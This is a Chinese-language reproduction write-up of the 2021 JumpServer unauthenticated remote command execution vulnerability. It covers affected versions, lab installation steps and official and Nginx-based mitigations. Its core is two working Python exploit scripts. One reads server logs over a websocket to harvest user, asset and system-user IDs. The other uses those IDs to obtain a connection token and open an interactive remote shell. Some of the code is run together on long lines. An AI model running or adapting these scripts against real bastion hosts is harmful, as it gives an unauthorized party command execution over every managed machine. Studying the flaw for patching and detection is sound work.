JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统。JumpServer 使用Python / Django 进行开发。
2021年1月15日，JumpServer发布更新，修复了一处远程命令执行漏洞。由于 JumpServer 某些接口未做授权限制，攻击者可构造恶意请求获取到日志文件获取敏感信息，或者执行相关API操作控制其中所有机器，执行任意命令。
JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
1、安装脚本
https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip注意是Centos 7 系统
内存8G以上，cpu2核以上
或者执行官网脚本
curl -sSL https://github.com/jumpserver/jumpserver/releases/download/v2.6.1/quick_start.sh| bash
2、配置好之后，解压缩包，运行
./quick_start.sh一路回车即可
3、进入目录下执行：
cd /opt/jumpserver-installer-v2.6.2./jmsctl.sh start
4、如果发现安装的版本不是 v2.6.1，执行
./jmsctl.sh upgrade v2.6.15、访问
http://192.168.217.159:8080初始账号密码为 admin/admin
6、更新用户列表里的用户名为root，后面ssh连接时的用户是root
7、创建一个系统用户
8、更新管理用户
9、新建一个资产
10、资产授权，否则控制台没有机器
11、成功连接机器
1、运行脚本
获取到asset,system_user,user三个ID值
import asyncioimport reimport websocketsimport jsonurl = "/ws/ops/tasks/log/"async def main_logic(t):print("#######start ws")async withwebsockets.connect(t) as client:awaitclient.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))while True:ret = json.loads(awaitclient.recv())print(ret["message"], end="")if __name__ == "__main__":host ="http://192.168.217.159:8080"target =host.replace("https://","wss://").replace("http://", "ws://") + urlprint("target:%s" % (target,))asyncio.get_event_loop().run_until_complete(main_logic(target))
2、将asset，system_user，user三个ID值
放入下面脚本，运行Getshell
import osimport asyncioimport aioconsoleimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=1"def get_celery_task_log_path(task_id):task_id =str(task_id)rel_path =os.path.join(task_id[0], task_id[1], task_id + ".log")path =os.path.join("/opt/jumpserver/", rel_path)return pathasync def send_msg(websocket, _text):if _text =="exit":print(f'youhave enter "exit", goodbye')awaitwebsocket.close(reason="user exit")returnFalseawaitwebsocket.send(_text)async def send_loop(ws, session_id):while True:cmdline =await aioconsole.ainput()awaitsend_msg(ws,json.dumps({"id": session_id, "type":"TERMINAL_DATA", "data": cmdline + "n"}),)async def recv_loop(ws):while True:recv_text =await ws.recv()ret =json.loads(recv_text)ifret.get("type", "TERMINAL_DATA"):awaitaioconsole.aprint(ret["data"], end="")
# 客户端主逻辑
async def main_logic():print("#######start ws")async withwebsockets.connect(target) as client:recv_text =await client.recv()print(f"{recv_text}")session_id= json.loads(recv_text)["id"]print("get ws id:" + session_id)print("###############")print("init ws")print("###############")inittext =json.dumps({"id": session_id,"type": "TERMINAL_INIT","data": '{"cols":164,"rows":17}',})awaitsend_msg(client, inittext)awaitasyncio.gather(recv_loop(client), send_loop(client, session_id))if __name__ == "__main__":host ="http://192.168.217.159:8080"cmd ="whoami"if host[-1] =="/":host =host[:-1]print(host)data ={"user": "4e98541f-a9d9-4d4a-8e62-aab3a3dcc503","asset": "d946e264-d139-4bb4-a375-be8c141587a0","system_user":"2683a326-a6f4-41d3-8590-455fd3990202"}print("##################")print("gettoken url:%s" % (host + url,))print("##################")res =requests.post(host + url, json=data)token =res.json()["token"]print("token:%s", (token,))print("##################")target = ("ws://" + host.replace("http://", "") +"/koko/ws/token/?target_id=" + token)print("target ws:%s" % (target,))asyncio.get_event_loop().run_until_complete(main_logic())
官方修复：将JumpServer升级至安全版本
https://blog.fit2cloud.com/?p=1761临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf# 企业老版本
jumpserver-release/nginx/http_server.conf# 新版本在
jumpserver-release/compose/config_static/http_server.conf修改 Nginx 配置文件实例
# 保证在 /api 之前和 / 之前
location /api/v1/authentication/connection-token/ {return 403;}location /api/v1/users/connection-token/ {return 403;}
# 新增以上这些
location /api/ {proxy_set_header X-Real-IP $remote_addr;proxy_set_header Host $host;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_passhttp://core:8080;}...
修改完成后重启 nginx
docker方式:
docker restart jms_nginx
nginx方式:
systemctl restart nginx修复验证
$ wgethttps://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh# 使用方法 bashjms_bug_check.sh HOST
bash jms_bug_check.sh demo.jumpserver.orgJumpServer日志
在/opt/jumpserver/core/logs 路径下
以下路径没有找到asset，system_user，user三个ID
ws://192.168.217.159:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/jumpserver"}
ws://192.168.217.159:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}
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